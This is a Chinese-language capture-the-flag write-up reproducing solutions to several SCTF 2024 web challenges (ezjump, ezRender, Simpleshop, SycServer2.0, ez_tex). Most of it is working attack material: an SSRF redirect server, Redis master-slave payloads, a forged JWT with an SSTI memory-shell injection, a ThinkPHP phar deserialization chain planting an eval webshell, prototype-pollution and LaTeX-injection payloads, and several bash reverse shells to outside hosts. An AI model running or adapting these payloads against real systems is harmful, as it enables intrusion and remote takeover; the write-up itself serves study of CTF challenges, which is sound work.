前言 有点小可惜吧,因为就差两道我们天枢就第一了。
还是自己能力不够,而且也没能力拿到证书,问心有愧,如果拿到xctf今年离大满贯又进一步吧。
但由于我们不是第一,所以分站赛还有的打,继续加油吧。
同时藉此复现一手思路,备战下旬网鼎杯(玛德网鼎杯怎么天枢老怪物全都出山了。。。。哈人)
ezjump 基本和学长从头看到尾的一道题,最后redis太搞了,slaveof的时候服务器删号你就打不进去,Octane通宵翻redis文档用CLIENT PAUSE改so文件打的,太超人了。
我本地docker打的时候,死活注册不上,也不知道什么原因,远程就没问题。
前面是一个CVE-2024-34351的nextjs
漏洞:
CVE-2024-34351 漏洞复现-CSDN博客
【网络安全】「漏洞复现」(五)从 NextJS SSRF 漏洞看 Host 头滥用所带来的危害-腾讯云开发者社区-腾讯云 (tencent.com)
而且dockerfile能看到后端网卡,报文直接打SSRF:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 POST /success HTTP/1.1 Host : vps:portUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0Accept : text/x-componentAccept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brReferer : http://192.168.193.141:3000/successNext-Action : b421a453a66309ec62a2d2049d51250ee55f10fdNext-Router-State-Tree : %5B%22%22%2C%7B%22children%22%3A%5B%22success%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5DContent-Type : multipart/form-data; boundary=---------------------------332929687741145380582296740589Content-Length : 336Origin : http://vps:portConnection : closePriority : u=0Content -Disposition : form-data ; name="1_$ACTION_ID_b421a453a66309ec62a2d2049d51250ee55f10fd "Content -Disposition : form-data ; name="0"["$K1" ]
vps上起一个重定向服务:[SCTF2024 Web&Misc 复现 | 0pium’s Blog (hack3r0pium.github.io)](https://hack3r0pium.github.io/hack3r0pium/2024/09/21/SCTF2024-Web&Misc-复现/index.html#:~:text=Web ezju)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from flask import Flask, request, Response, redirect app = Flask(__name__)@app.route('/play' ) def exploit (): if request.method == 'HEAD' : response = Response() response.headers['Content-Type' ] = 'text/x-component' return response elif request.method == 'GET' : ssrfUrl = 'http://172.11.0.3:5000/' return redirect(ssrfUrl) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=1717 , debug=True )
waf这里是一个字符串逃逸,也很简单有现成脚本,打下CRLF就可以了。
然后app.py有个curl,虽然把gopher给ban了,但是大小写可绕,给赵哥整红温了,我们搁这dict://半天。。。。。。
然后直接打一个主从就ok了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from flask import Flask, request, Response, redirectfrom urllib.parse import quote app = Flask(__name__)@app.route('/play' ) def exploit (): if request.method == 'HEAD' : response = Response() response.headers['Content-Type' ] = 'text/x-component' return response elif request.method == 'GET' : payload="\r\n$3\r\npun\r\n" payload+="config set dir /tmp\r\n" payload+="system.exec 'bash -c \"bash -i >& /dev/tcp/vps/反弹shell的port 0>&1\"'\r\n" exp="admin" *len (payload)+payload ssrfUrl = f'http://172.11.0.3:5000/login?username={quote(exp)} &&password=1' return redirect(ssrfUrl)if __name__ == '__main__' : app.run(host='0.0.0.0' , port=1717 , debug=True )
或者用能直接system.rev的so文件。难绷的是打一次就要改一次文件重新放服务然后重新发包,挺繁琐的。折磨我们半天的掉线问题还真就出在so文件上。
ezRender 以前没见过,但是队里赛棍学长见过。
还真就是打ulimit。
他生成jwt用到了/dev/random和时间戳,这里hint给了ulimit -n = 2048
说人话就是同时允许最大打开2048个文件描述符(文件、套接字等),如果进程到了限制就会报错。
那么我注册2048个账号后,他这个/dev/ramdom就会因为这个限制打不开了,所以jwt的密钥就剩下10位的时间戳了。
借用SCTF 2024 Writeup - 星盟安全团队 (xmcve.com)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /register HTTP/1.1 Host : 124.220.229.60:8080User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0Accept : */*Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brReferer : http://124.220.229.60:8080/registerContent-Type : application/jsonContent-Length : 42Origin : http://124.220.229.60:8080Connection : closePriority : u=0{ "username" : "admin§1§" , "password" : "admin123" }
发包2048个以上。
time_string 为admin2060时服务器返回的时间戳
构造一手token:
1 2 3 4 5 6 7 8 9 10 11 import timefrom datetime import datetime time_string = "Sun, 29 Sep 2024 06:03:45 GMT" timestamp = int (time.mktime(time.strptime(time_string, "%a, %d %b %Y %H:%M:%S %Z" )))print (timestamp)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import jsonimport hashlibimport base64import jwtfrom app import *from User import *def generateToken (user ): secret={"name" :user,"is_admin" :"1" } verify_c=jwt.encode(secret, secret_key, algorithm='HS256' ) infor={"name" :user,"secret" :verify_c} token=base64.b64encode(json.dumps(infor).encode()).decode() print (infor) print (token) secret_key="1727589825" generateToken('admin2060' )
然后换掉cookie,删除部分用户使存在用户少于2048个,服务正常。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /removeUser HTTP/1.1 Host : 1.95.40.5:29351User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0Accept : */*Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brCookie : Token=eyJuYW1lIjogImFkbWluMjA2MCIsICJzZWNyZXQiOiAiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SnVZVzFsSWpvaVlXUnRhVzR5TURZd0lpd2lhWE5mWVdSdGFXNGlPaUl4SW4wLi1maGFqQ1M4S1RfMDY2YWlxSmhqNGxHcHdVdWRMbFprMnh1SlFxUld2Q0kifQ==Referer : http://124.220.229.60:8080/registerContent-Type : application/x-www-form-urlencodedContent-Length : 15Origin : http://124.220.229.60:8080Connection : closePriority : u=0username = admin§1 §
code传参直接打入flask内存马:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /admin HTTP/1.1 Host : 1.95.40.5:29351User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0Accept : */*Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflate, brReferer : http://124.220.229.60:8080/registerCookie : Token=eyJuYW1lIjogImFkbWluMjA2MCIsICJzZWNyZXQiOiAiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SnVZVzFsSWpvaVlXUnRhVzR5TURZd0lpd2lhWE5mWVdSdGFXNGlPaUl4SW4wLi1maGFqQ1M4S1RfMDY2YWlxSmhqNGxHcHdVdWRMbFprMnh1SlFxUld2Q0kifQ==Content-Type : application/x-www-form-urlencodedContent-Length : 323Origin : http://124.220.229.60:8080Connection : closePriority : u=0code= {{(g.pop.__globals__.__builtins__.__getitem__ ('EXEC'.lower ()))("import+base64;ex" %2 b"ec(base64.b64decode('X19pbXBvcnRfXygnc3lzJykubW9kdWxlc1snX19tYWluX18nXS5fX2RpY3RfX1snYXBwJ10uYmVmb3JlX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLFtdKS5hcHBlbmQobGFtYmRhIDpfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCcvcmVhZGZsYWcnKS5yZWFkKCkp'));" )}}
Simpleshop 看了一半没看到。
看了他的letter,注册了个号,修改头像处存在文件上传,但是直接传不行,ban完了。
下载源码发现ThinkPHP框架,并且找到个未公开的CVE打这个CRMEB的反序列化,挖洞没跑了。
想办法打phar吧。
漏洞点在CRMEB-5.4.0\CRMEB-5.4.0\crmeb\app\adminapi\controller
的PublicController
类中。
网上找ThinkPHP的反序列化链,有现成的,直接套过来用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 <?php namespace PhpOffice \PhpSpreadsheet \Collection { class Cells { private $cache ; public function __construct ($exp ) { $this ->cache = $exp ; } } }namespace think \log { class Channel { protected $logger ; protected $lazy = true ; public function __construct ($exp ) { $this ->logger = $exp ; $this ->lazy = false ; } } }namespace think { class Request { protected $url ; public function __construct ( ) { $this ->url = '<?php file_put_contents("/var/www/public/uploads/store/comment/20240929/fpclose.php", \'<?php eval($_POST[1]); ?>\', FILE_APPEND); ?>' ; } } class App { protected $instances = []; public function __construct ( ) { $this ->instances = ['think\Request' =>new Request ()]; } } }namespace think \view \driver { class Php {} }namespace think \log \driver { class Socket { protected $config = []; protected $app ; public function __construct ( ) { $this ->config = [ 'debug' =>true , 'force_client_ids' => 1 , 'allow_client_ids' => '' , 'format_head' => [new \think\view\driver\Php,'display' ], ]; $this ->app = new \think\App (); } } }namespace { $c = new think \log \driver \Socket (); $b = new think\log\Channel ($c ); $a = new PhpOffice\PhpSpreadsheet\Collection\Cells ($b ); ini_set ("phar.readonly" , 0 ); $phar = new Phar ('1.phar' ); $phar ->startBuffering (); $phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata ($a ); $phar ->addFromString ("fpclose.jpg" , "666" ); $phar ->stopBuffering (); }
phar://
被ban了,这个看了源码发现其实是直接被替换为空,双写就能绕过。
文件直接套一个gzip来绕上传内容检测。先改名1.jpg然后gzip 1.jpg。
蚁剑直连,用一下fpm插件绕过disable_functions。
然后里面一个suid-grep提权交了。
这里翻网上wp发现星盟还真nb,写了个跳板php,然后打iconv来getshell:
1 2 3 <?php @mkdir ('img' );chdir ('img' );ini_set ('open_basedir' ,'..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );ini_set ('open_basedir' ,'/' ); $data = file_get_contents ($_POST ['file' ]); echo "File contents: $data " ;
这也能想到啊,我草。
学到一个新的绕disable_functions方法了。
SycServer2.0 怪题,出晚了。
前端绕过很简单,js的waf形同虚设,删了直接sql万能密码进了,拿cookie。
robots.txt发现一个玩意:
1 2 3 User-agent: * Disallow: Disallow: /ExP0rtApi?v=static &f=1 .jpeg
猜测这是一个读取文件的接口,结果还真是,替换../
为空,双写绕了。
然后就可以读到app.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 const express = require ('express' );const fs = require ('fs' );var nodeRsa = require ('node-rsa' );const bodyParser = require ('body-parser' );const jwt = require ('jsonwebtoken' );const crypto = require ('crypto' );const SECRET_KEY = crypto.randomBytes (16 ).toString ('hex' );const path = require ('path' );const zlib = require ('zlib' );const mysql = require ('mysql' )const handle = require ('./handle' );const cp = require ('child_process' );const cookieParser = require ('cookie-parser' );const con = mysql.createConnection ({ host : 'localhost' , user : 'ctf' , password : 'ctf123123' , port : '3306' , database : 'sctf' }) con.connect ((err ) => { if (err) { console .error ('Error connecting to MySQL:' , err.message ); setTimeout (con.connect (), 2000 ); } else { console .log ('Connected to MySQL' ); } });const {response} = require ("express" );const req = require ("express/lib/request" );var key = new nodeRsa ({ b : 1024 }); key.setOptions ({ encryptionScheme : 'pkcs1' });var publicPem = `-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ\nTfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC\nXmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe\nI+Atul1rSE0APhHoPwIDAQAB\n-----END PUBLIC KEY-----` ;var privatePem = `-----BEGIN PRIVATE KEY----- MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALmcnNJe2PEAHa27 PlYP0H/+8tBN8JRNz4A7Ck10Gw7KhFy6m4GaHxdJWeblHgRdZLpysvkrctl7m87l i+aKyoCrYgJeZYXgvBQhR+Tj/ZxAs2X4DRzOWyQFm+NBzM4pcH7K8/jEwNe5zWEi 6OeoWXA6kZ4j4C26XWtITQA+Eeg/AgMBAAECgYA+eBhLsUJgckKK2y8StgXdXkgI lYK31yxUIwrHoKEOrFg6AVAfIWj/ZF+Ol2Qv4eLp4Xqc4+OmkLSSwK0CLYoTiZFY Jal64w9KFiPUo1S2E9abggQ4omohGDhXzXfY+H8HO4ZRr0TL4GG+Q2SphkNIDk61 khWQdvN1bL13YVOugQJBAP77jr5Y8oUkIsQG+eEPoaykhe0PPO408GFm56sVS8aT 6sk6I63Byk/DOp1MEBFlDGIUWPjbjzwgYouYTbwLwv8CQQC6WjLfpPLBWAZ4nE78 dfoDzqFcmUN8KevjJI9B/rV2I8M/4f/UOD8cPEg8kzur7fHga04YfipaxT3Am1kG mhrBAkEA90J56ZvXkcS48d7R8a122jOwq3FbZKNxdwKTJRRBpw9JXllCv/xsc2ye KmrYKgYTPAj/PlOrUmMVLMlEmFXPgQJBAK4V6yaf6iOSfuEXbHZOJBSAaJ+fkbqh UvqrwaSuNIi72f+IubxgGxzed8EW7gysSWQT+i3JVvna/tg6h40yU0ECQQCe7l8l zIdwm/xUWl1jLyYgogexnj3exMfQISW5442erOtJK8MFuUJNHFMsJWgMKOup+pOg xu/vfQ0A1jHRNC7t -----END PRIVATE KEY-----` ;const app = express (); app.use (bodyParser.json ()); app.use (express.urlencoded ({ extended : true })); app.use (express.static (path.join (__dirname, 'static' ))); app.use (cookieParser ());var Reportcache = {}function verifyAdmin (req, res, next ) { const token = req.cookies ['auth_token' ]; if (!token) { return res.status (403 ).json ({ message : 'No token provided' }); } jwt.verify (token, SECRET_KEY , (err, decoded ) => { if (err) { return res.status (403 ).json ({ message : 'Failed to authenticate token' }); } if (decoded.role !== 'admin' ) { return res.status (403 ).json ({ message : 'Access denied. Admins only.' }); } req.user = decoded; next (); }); } app.get ('/hello' , verifyAdmin ,(req, res )=> { res.send ('<h1>Welcome Admin!!!</h1><br><img src="./1.jpeg" />' ); }); app.get ('/config' , (req, res ) => { res.json ({ publicKey : publicPem, }); });var decrypt = function (body ) { try { var pem = privatePem; var key = new nodeRsa (pem, { encryptionScheme : 'pkcs1' , b : 1024 }); key.setOptions ({ environment : "browser" }); return key.decrypt (body, 'utf8' ); } catch (e) { console .error ("decrypt error" , e); return false ; } }; app.post ('/login' , (req, res ) => { const encryptedPassword = req.body .password ; const username = req.body .username ; try { passwd = decrypt (encryptedPassword) if (username === 'admin' ) { const sql = `select (select password from user where username = 'admin') = '${passwd} ';` con.query (sql, (err, rows ) => { if (err) throw new Error (err.message ); if (rows[0 ][Object .keys (rows[0 ])]) { const token = jwt.sign ({username, role : username}, SECRET_KEY , {expiresIn : '1h' }); res.cookie ('auth_token' , token, {secure : false }); res.status (200 ).json ({success : true , message : 'Login Successfully' }); } else { res.status (200 ).json ({success : false , message : 'Errow Password!' }); } }); } else { res.status (403 ).json ({success : false , message : 'This Website Only Open for admin' }); } } catch (error) { res.status (500 ).json ({ success : false , message : 'Error decrypting password!' }); } }); app.get ('/ExP0rtApi' , verifyAdmin, (req, res ) => { var rootpath = req.query .v ; var file = req.query .f ; file = file.replace (/\.\.\//g , '' ); rootpath = rootpath.replace (/\.\.\//g , '' ); if (rootpath === '' ){ if (file === '' ){ return res.status (500 ).send ('try to find parameters HaHa' ); } else { rootpath = "static" } } const filePath = path.join (__dirname, rootpath + "/" + file); if (!fs.existsSync (filePath)) { return res.status (404 ).send ('File not found' ); } fs.readFile (filePath, (err, fileData ) => { if (err) { console .error ('Error reading file:' , err); return res.status (500 ).send ('Error reading file' ); } zlib.gzip (fileData, (err, compressedData ) => { if (err) { console .error ('Error compressing file:' , err); return res.status (500 ).send ('Error compressing file' ); } const base64Data = compressedData.toString ('base64' ); res.send (base64Data); }); }); }); app.get ("/report" , verifyAdmin ,(req, res ) => { res.sendFile (__dirname + "/static/report_noway_dirsearch.html" ); }); app.post ("/report" , verifyAdmin ,(req, res ) => { const {user, date, reportmessage} = req.body ; if (Reportcache [user] === undefined ) { Reportcache [user] = {}; } Reportcache [user][date] = reportmessage res.status (200 ).send ("<script>alert('Report Success');window.location.href='/report'</script>" ); }); app.get ('/countreport' , (req, res ) => { let count = 0 ; for (const user in Reportcache ) { count += Object .keys (Reportcache [user]).length ; } res.json ({ count }); }); app.get ("/VanZY_s_T3st" , (req, res ) => { var command = 'whoami' ; const cmd = cp.spawn (command ,[]); cmd.stdout .on ('data' , (data ) => { res.status (200 ).end (data.toString ()); }); }) app.listen (3000 , () => { console .log ('Server running on http://localhost:3000' ); });
刚开始猜测是打原型链污染child_progress,但是读到这个Node最新版本算是,没辙。
本地起一个这个玩意还报错了handle找不到,猜测他还有handle里的东西,结果真有:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 var ritm = require ('require-in-the-middle' );var patchChildProcess = require ('./child_process' );new ritm.Hook ( ['child_process' ], function (module , name ) { switch (name) { case 'child_process' : { return patchChildProcess (module ); } } } );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 function patchChildProcess (cp ) { cp.execFile = new Proxy (cp.execFile , { apply : patchOptions (true ) }); cp.fork = new Proxy (cp.fork , { apply : patchOptions (true ) }); cp.spawn = new Proxy (cp.spawn , { apply : patchOptions (true ) }); cp.execFileSync = new Proxy (cp.execFileSync , { apply : patchOptions (true ) }); cp.execSync = new Proxy (cp.execSync , { apply : patchOptions () }); cp.spawnSync = new Proxy (cp.spawnSync , { apply : patchOptions (true ) }); return cp; }function patchOptions (hasArgs ) { return function apply (target, thisArg, args ) { var pos = 1 ; if (pos === args.length ) { args[pos] = prototypelessSpawnOpts (); } else if (pos < args.length ) { if (hasArgs && (Array .isArray (args[pos]) || args[pos] == null )) { pos++; } if (typeof args[pos] === 'object' && args[pos] !== null ) { args[pos] = prototypelessSpawnOpts (args[pos]); } else if (args[pos] == null ) { args[pos] = prototypelessSpawnOpts (); } else if (typeof args[pos] === 'function' ) { args.splice (pos, 0 , prototypelessSpawnOpts ()); } } return target.apply (thisArg, args); }; }function prototypelessSpawnOpts (obj ) { var prototypelessObj = Object .assign (Object .create (null ), obj); prototypelessObj.env = Object .assign (Object .create (null ), prototypelessObj.env || process.env ); return prototypelessObj; }module .exports = patchChildProcess;
用的环境变量劫持,pp2rce,直接修改shell变量,由于它本地有个/readflag所以能直接读了。又学到了啊:
https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html
学长这么打的:
1 2 3 4 5 6 7 8 9 10 { "user" : "__proto__" , "date" : "2" , "reportmessage" : { "shell" : "/bin/bash" , "argv0" : "/bin/bash" , "env" : { "BASH_FUNC_whoami%%" : "() { /readflag > /tmp/123; }" } } } , cookies={ "auth_token" : admin_cookie}
星盟:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 { "user" : "__proto__" , "date" : 2 , "reportmessage" : { "shell" : "/readflag" , "env" : { "NODE_DEBUG" : "require(\"child_process\").exec(\"bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'\");process.exit()//" , "NODE_OPTIONS" : "--require /proc/self/environ" } } }
W&M:
1 2 3 4 5 def add_report (username,date,report ): resp = rs.post(remote_addr+"/report" ,json={"user" :username,"date" :date,"reportmessage" :report}) assert 'Report Success' in resp.text add_report("__proto__" ,2 ,{"shell" :"/proc/self/exe" ,"argv0" :"console.log(require('child_process').execSync('bash -c \"/bin/sh -i >& /dev/tcp/123.45.6.7/9999 0>&1\"').toString())//" ,"env" :{"NODE_OPTIONS" :"--require /proc/self/cmdline" }})
ez_tex 没打出来,有点遗憾。W&M还是太猛了。
LaTex Injection绕所有黑名单:
[PayloadsAllTheThings/LaTeX Injection/README.md at master · swisskyrepo/PayloadsAllTheThings (github.com)](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LaTeX Injection/README.md)
提示/log,有个app.log不知道咋用。想想怎么带出数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 \documentclass []{article}\begin {document}\newread \infile \openin \infile =main.py\imm ^^65diate\newwrite \outfile \imm ^^65diate\openout \outfile =a^^70p.l^^6fg\loop \unless \ifeof \infile \imm ^^65diate\read \infile to\line \imm ^^65diate\write \outfile {\line }\repeat \closeout \outfile \closein \infile \newpage foo\end {document}
读到main.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 import os import logging import subprocess from flask import Flask, request, render_template, redirect from werkzeug.utils import secure_filename app = Flask(__name__) if not app.debug: handler = logging.FileHandler('app.log' ) handler.setLevel(logging.INFO) app.logger.addHandler(handler) UPLOAD_FOLDER = 'uploads' app.config['UPLOAD_FOLDER' ] = UPLOAD_FOLDER os.makedirs(UPLOAD_FOLDER, exist_ok=True ) ALLOWED_EXTENSIONS = {'txt' , 'png' , 'jpg' , 'gif' , 'log' , 'tex' } def allowed_file (filename ): return '.' in filename and \ filename.rsplit('.' , 1 )[1 ].lower() in ALLOWED_EXTENSIONS def compile_tex (file_path ): output_filename = file_path.rsplit('.' , 1 )[0 ] + '.pdf' try : subprocess.check_call(['pdflatex' , file_path]) return output_filename except subprocess.CalledProcessError as e: return str (e) @app.route('/' ) def index (): return render_template('index.html' ) @app.route('/upload' , methods=['POST' ] ) def upload_file (): if 'file' not in request.files: return redirect(request.url) file = request.files['file' ] if file.filename == '' : return redirect(request.url) if file and allowed_file(file.filename): content = file.read() try : content_str = content.decode('utf-8' ) except UnicodeDecodeError: return 'File content is not decodable' for bad_char in ['\\x' , '..' , '*' , '/' , 'input' , 'include' , 'write18' , 'immediate' ,'app' , 'flag' ]: if bad_char in content_str: return 'File content is not safe' file.seek(0 ) filename = secure_filename(file.filename) file_path = os.path.join(app.config['UPLOAD_FOLDER' ], filename) file.save(file_path) return 'File uploaded successfully, And you can compile the tex file' else : return 'Invalid file type or name' @app.route('/compile' , methods=['GET' ] ) def compile (): filename = request.args.get('filename' ) if not filename: return 'No filename provided' , 400 if len (filename) >= 7 : return 'Invalid file name length' , 400 if not filename.endswith('.tex' ): return 'Invalid file type' , 400 file_path = os.path.join(app.config['UPLOAD_FOLDER' ], filename) print (file_path) if not os.path.isfile(file_path): return 'File not found' , 404 output_pdf = compile_tex(file_path) if output_pdf.endswith('.pdf' ): return "Compilation succeeded" else : return 'Compilation failed' , 500 @app.route('/log' ) def log (): try : with open ('app.log' , 'r' ) as log_file: log_contents = log_file.read() return render_template('log.html' , log_contents=log_contents) except FileNotFoundError: return 'Log file not found' , 404 if __name__ == '__main__' : app.run(host='0.0.0.0' , port=3000 , debug=False )
直接ssti就出了。但是要重开靶机在第一次访问/log之前写:
1 2 3 4 5 6 7 8 9 \documentclass []{article}\begin {document}\newwrite \t \openout \t =templates^^2flog.html\write \t {{{lipsum._ _ globals_ _ ['os'].popen('bash -c "^^2fbin^^2fsh -i >& ^^2fdev^^2ftcp^^2f1.1.1.1^^2f9999 0>& 1"').read()}}}\closeout \t \newpage foo\end {document}
反弹shell进去后没权限,它还给了个ssh,预期解是通过/flag得知jerrywww用户名,然后爆破出弱密码P@ssw0rd,难绷。
W&M打了个非预期:/usr/bin/python3.11 cap_setuid=ep
牛子。
havefun ruby反序列化都来了我草。后面研究研究。
(未完待续…)
参考:
SCTF 2024 By W&M - W&M Team (wm-team.cn)
[SCTF2024 Web&Misc 复现 | 0pium’s Blog (hack3r0pium.github.io)](https://hack3r0pium.github.io/hack3r0pium/2024/09/21/SCTF2024-Web&Misc-复现/index.html#:~:text=Web ezju)
SCTF 2024 Writeup - 星盟安全团队 (xmcve.com)